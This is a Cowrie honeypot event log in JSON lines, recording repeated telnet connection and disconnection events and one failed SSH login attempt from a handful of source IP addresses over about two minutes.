{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":53946,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a3f87556eeb","protocol":"telnet","message":"New connection: 38.54.119.93:53946 (10.17.0.5:23) [session: 3a3f87556eeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:49:47.029838Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":36388,"dst_ip":"10.17.0.5","dst_port":23,"session":"4132d5f00b39","protocol":"telnet","message":"New connection: 62.210.97.77:36388 (10.17.0.5:23) [session: 4132d5f00b39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:49:48.012109Z"}
{"eventid":"cowrie.session.closed","duration":47.263487815856934,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:49:48.732564Z","src_ip":"38.54.119.93","session":"e689074e721e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.9457011222839355,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:49:52.975388Z","src_ip":"38.54.119.93","session":"3a3f87556eeb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":58228,"dst_ip":"10.17.0.5","dst_port":23,"session":"f234a44af5be","protocol":"telnet","message":"New connection: 38.54.119.93:58228 (10.17.0.5:23) [session: f234a44af5be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:49:53.371035Z"}
{"eventid":"cowrie.session.closed","duration":34.567102670669556,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:49:55.637951Z","src_ip":"62.210.97.77","session":"c5b7daec2c11","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":48320,"dst_ip":"10.17.0.5","dst_port":23,"session":"5cf8c028631d","protocol":"telnet","message":"New connection: 62.210.97.77:48320 (10.17.0.5:23) [session: 5cf8c028631d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:49:59.734379Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":48328,"dst_ip":"10.17.0.5","dst_port":23,"session":"93ef5705d338","protocol":"telnet","message":"New connection: 62.210.97.77:48328 (10.17.0.5:23) [session: 93ef5705d338]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:49:59.914578Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":36262,"dst_ip":"10.17.0.5","dst_port":23,"session":"142c4972062d","protocol":"telnet","message":"New connection: 38.54.119.93:36262 (10.17.0.5:23) [session: 142c4972062d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:50:03.379568Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":48332,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d00c5d44fe2","protocol":"telnet","message":"New connection: 62.210.97.77:48332 (10.17.0.5:23) [session: 7d00c5d44fe2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:50:05.076952Z"}
{"eventid":"cowrie.session.closed","duration":3.4966516494750977,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:50:06.876084Z","src_ip":"38.54.119.93","session":"142c4972062d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":48342,"dst_ip":"10.17.0.5","dst_port":23,"session":"db49d3512a94","protocol":"telnet","message":"New connection: 62.210.97.77:48342 (10.17.0.5:23) [session: db49d3512a94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:50:07.012157Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":50368,"dst_ip":"10.17.0.5","dst_port":23,"session":"a4b3b5f853ec","protocol":"telnet","message":"New connection: 165.232.131.181:50368 (10.17.0.5:23) [session: a4b3b5f853ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:50:11.715509Z"}
{"eventid":"cowrie.session.closed","duration":37.646095752716064,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:50:12.173667Z","src_ip":"62.210.97.77","session":"089e164cd460","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":50730,"dst_ip":"10.17.0.5","dst_port":23,"session":"23a1568352c6","protocol":"telnet","message":"New connection: 165.232.131.181:50730 (10.17.0.5:23) [session: 23a1568352c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:50:13.731720Z"}
{"eventid":"cowrie.session.closed","duration":32.09591102600098,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:50:14.326799Z","src_ip":"62.210.97.77","session":"826e1bc73a0a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":34694,"dst_ip":"10.17.0.5","dst_port":23,"session":"f7fea5197f73","protocol":"telnet","message":"New connection: 62.210.97.77:34694 (10.17.0.5:23) [session: f7fea5197f73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:50:14.588447Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":39962,"dst_ip":"159.203.135.109","dst_port":22,"session":"b1ccf7073b7c","protocol":"ssh","message":"New connection: 80.94.92.182:39962 (159.203.135.109:22) [session: b1ccf7073b7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:50:14.747352Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:50:14.841296Z","src_ip":"80.94.92.182","session":"b1ccf7073b7c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:50:15.024030Z","src_ip":"80.94.92.182","session":"b1ccf7073b7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1234qwer","message":"login attempt [ubuntu/1234qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:50:15.862948Z","src_ip":"80.94.92.182","session":"b1ccf7073b7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:50:17.234012Z","src_ip":"80.94.92.182","session":"b1ccf7073b7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.21107220649719,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:50:17.575526Z","src_ip":"38.54.119.93","session":"304ebda5c0b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":34696,"dst_ip":"10.17.0.5","dst_port":23,"session":"b3a524b76c32","protocol":"telnet","message":"New connection: 62.210.97.77:34696 (10.17.0.5:23) [session: b3a524b76c32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:50:18.476059Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":47448,"dst_ip":"10.17.0.5","dst_port":23,"session":"9d17d9545955","protocol":"telnet","message":"New connection: 38.54.119.93:47448 (10.17.0.5:23) [session: 9d17d9545955]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:50:20.262471Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":41340,"dst_ip":"10.17.0.5","dst_port":23,"session":"85fe5b7ebbc4","protocol":"telnet","message":"New connection: 62.210.97.77:41340 (10.17.0.5:23) [session: 85fe5b7ebbc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:50:22.188233Z"}
{"eventid":"cowrie.session.closed","duration":35.84827160835266,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:50:23.860257Z","src_ip":"62.210.97.77","session":"4132d5f00b39","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.99774527549744,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:50:24.842700Z","src_ip":"165.232.131.181","session":"3391b9aed7bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":54890,"dst_ip":"10.17.0.5","dst_port":23,"session":"3894781f6249","protocol":"telnet","message":"New connection: 165.232.131.181:54890 (10.17.0.5:23) [session: 3894781f6249]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:50:25.435935Z"}
{"eventid":"cowrie.session.closed","duration":47.65126013755798,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:50:26.128250Z","src_ip":"65.60.27.33","session":"b4f34059cc99","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":35694,"dst_ip":"10.17.0.5","dst_port":23,"session":"c8fc2a2dbfbc","protocol":"telnet","message":"New connection: 62.210.97.77:35694 (10.17.0.5:23) [session: c8fc2a2dbfbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:50:29.042684Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":55806,"dst_ip":"10.17.0.5","dst_port":23,"session":"e51a0d974054","protocol":"telnet","message":"New connection: 165.232.131.181:55806 (10.17.0.5:23) [session: e51a0d974054]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:50:29.188622Z"}
{"eventid":"cowrie.session.closed","duration":54.14689922332764,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:50:31.170077Z","src_ip":"38.54.119.93","session":"f16ecf7a4529","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":51434,"dst_ip":"10.17.0.5","dst_port":23,"session":"68f6d25d3f3d","protocol":"telnet","message":"New connection: 65.60.27.33:51434 (10.17.0.5:23) [session: 68f6d25d3f3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:50:32.378409Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":58210,"dst_ip":"10.17.0.5","dst_port":23,"session":"c25ff21de2ec","protocol":"telnet","message":"New connection: 165.232.131.181:58210 (10.17.0.5:23) [session: c25ff21de2ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:50:33.800085Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":35706,"dst_ip":"10.17.0.5","dst_port":23,"session":"57782b74e1c2","protocol":"telnet","message":"New connection: 62.210.97.77:35706 (10.17.0.5:23) [session: 57782b74e1c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:50:33.912755Z"}
{"eventid":"cowrie.session.closed","duration":35.02843976020813,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:50:34.762698Z","src_ip":"62.210.97.77","session":"5cf8c028631d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":58716,"dst_ip":"10.17.0.5","dst_port":23,"session":"63bc31bbc0fe","protocol":"telnet","message":"New connection: 165.232.131.181:58716 (10.17.0.5:23) [session: 63bc31bbc0fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:50:35.055670Z"}
{"eventid":"cowrie.session.closed","duration":4.255796194076538,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:50:36.634100Z","src_ip":"65.60.27.33","session":"68f6d25d3f3d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":35714,"dst_ip":"10.17.0.5","dst_port":23,"session":"b67bece40ced","protocol":"telnet","message":"New connection: 62.210.97.77:35714 (10.17.0.5:23) [session: b67bece40ced]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:50:37.946212Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":35730,"dst_ip":"10.17.0.5","dst_port":23,"session":"d1182e468650","protocol":"telnet","message":"New connection: 62.210.97.77:35730 (10.17.0.5:23) [session: d1182e468650]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:50:38.174725Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":35742,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed0f3938a6c6","protocol":"telnet","message":"New connection: 62.210.97.77:35742 (10.17.0.5:23) [session: ed0f3938a6c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:50:38.409222Z"}
{"eventid":"cowrie.session.closed","duration":34.118309020996094,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:50:39.195044Z","src_ip":"62.210.97.77","session":"7d00c5d44fe2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.04772925376892,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:50:40.962191Z","src_ip":"62.210.97.77","session":"93ef5705d338","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":34786,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec7387c657e1","protocol":"telnet","message":"New connection: 65.60.27.33:34786 (10.17.0.5:23) [session: ec7387c657e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:50:43.341289Z"}
{"eventid":"cowrie.session.closed","duration":37.54312753677368,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:50:44.555168Z","src_ip":"62.210.97.77","session":"db49d3512a94","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":40622,"dst_ip":"10.17.0.5","dst_port":23,"session":"0467a7b918c0","protocol":"telnet","message":"New connection: 62.210.97.77:40622 (10.17.0.5:23) [session: 0467a7b918c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:50:46.582581Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":34888,"dst_ip":"10.17.0.5","dst_port":23,"session":"52c65641c3e4","protocol":"telnet","message":"New connection: 38.54.119.93:34888 (10.17.0.5:23) [session: 52c65641c3e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:50:46.932067Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":34890,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f8cb6931806","protocol":"telnet","message":"New connection: 165.232.131.181:34890 (10.17.0.5:23) [session: 3f8cb6931806]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:50:46.946912Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":40636,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b18b3b2aba3","protocol":"telnet","message":"New connection: 62.210.97.77:40636 (10.17.0.5:23) [session: 6b18b3b2aba3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:50:47.527488Z"}
{"eventid":"cowrie.session.closed","duration":33.06992030143738,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:50:47.658221Z","src_ip":"62.210.97.77","session":"f7fea5197f73","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.5993242263793945,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:50:50.531289Z","src_ip":"38.54.119.93","session":"52c65641c3e4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":59.028419971466064,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:50:52.399327Z","src_ip":"38.54.119.93","session":"f234a44af5be","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.09264373779297,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:50:52.568580Z","src_ip":"62.210.97.77","session":"b3a524b76c32","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.886502742767334,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:50:55.074579Z","src_ip":"62.210.97.77","session":"85fe5b7ebbc4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":36550,"dst_ip":"10.17.0.5","dst_port":23,"session":"c46691980e98","protocol":"telnet","message":"New connection: 165.232.131.181:36550 (10.17.0.5:23) [session: c46691980e98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:50:55.524759Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":49986,"dst_ip":"10.17.0.5","dst_port":23,"session":"0aa2ce09c1e7","protocol":"telnet","message":"New connection: 65.60.27.33:49986 (10.17.0.5:23) [session: 0aa2ce09c1e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:50:56.678796Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":42590,"dst_ip":"10.17.0.5","dst_port":23,"session":"124b214d1657","protocol":"telnet","message":"New connection: 38.54.119.93:42590 (10.17.0.5:23) [session: 124b214d1657]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:50:58.988326Z"}
{"eventid":"cowrie.session.closed","duration":46.67978549003601,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:51:00.411355Z","src_ip":"165.232.131.181","session":"23a1568352c6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.421255111694336,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:51:01.463796Z","src_ip":"62.210.97.77","session":"c8fc2a2dbfbc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":57996,"dst_ip":"10.17.0.5","dst_port":23,"session":"8adc0b2a13aa","protocol":"telnet","message":"New connection: 62.210.97.77:57996 (10.17.0.5:23) [session: 8adc0b2a13aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:51:02.619727Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":60090,"dst_ip":"10.17.0.5","dst_port":23,"session":"7553cc987d22","protocol":"telnet","message":"New connection: 65.60.27.33:60090 (10.17.0.5:23) [session: 7553cc987d22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:51:06.124941Z"}
{"eventid":"cowrie.session.closed","duration":48.084850549697876,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:51:08.347078Z","src_ip":"38.54.119.93","session":"9d17d9545955","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.63218951225281,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:51:08.544825Z","src_ip":"62.210.97.77","session":"57782b74e1c2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.21867251396179,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:51:10.654512Z","src_ip":"165.232.131.181","session":"3894781f6249","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.45282864570618,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:51:10.861850Z","src_ip":"62.210.97.77","session":"ed0f3938a6c6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.932289361953735,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:51:11.106866Z","src_ip":"62.210.97.77","session":"d1182e468650","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.59438514709473,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:51:12.540453Z","src_ip":"62.210.97.77","session":"b67bece40ced","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":48884,"dst_ip":"10.17.0.5","dst_port":23,"session":"def8da21115e","protocol":"telnet","message":"New connection: 62.210.97.77:48884 (10.17.0.5:23) [session: def8da21115e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:51:12.730094Z"}
{"eventid":"cowrie.session.closed","duration":120.0040636062622,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:51:15.282733Z","src_ip":"165.232.131.181","session":"05c6c5c9647b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.48515224456787,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:51:19.826328Z","src_ip":"65.60.27.33","session":"ec7387c657e1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":46550,"dst_ip":"10.17.0.5","dst_port":23,"session":"d318c9a20934","protocol":"telnet","message":"New connection: 165.232.131.181:46550 (10.17.0.5:23) [session: d318c9a20934]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:51:19.850664Z"}
{"eventid":"cowrie.session.closed","duration":45.03565502166748,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:51:20.091214Z","src_ip":"165.232.131.181","session":"63bc31bbc0fe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.58356523513794,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:51:20.383519Z","src_ip":"165.232.131.181","session":"c25ff21de2ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.947834968566895,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:51:21.530314Z","src_ip":"62.210.97.77","session":"0467a7b918c0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.38790416717529,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:51:22.915267Z","src_ip":"62.210.97.77","session":"6b18b3b2aba3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.70008730888367,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:51:24.646867Z","src_ip":"165.232.131.181","session":"3f8cb6931806","protocol":"telnet"}
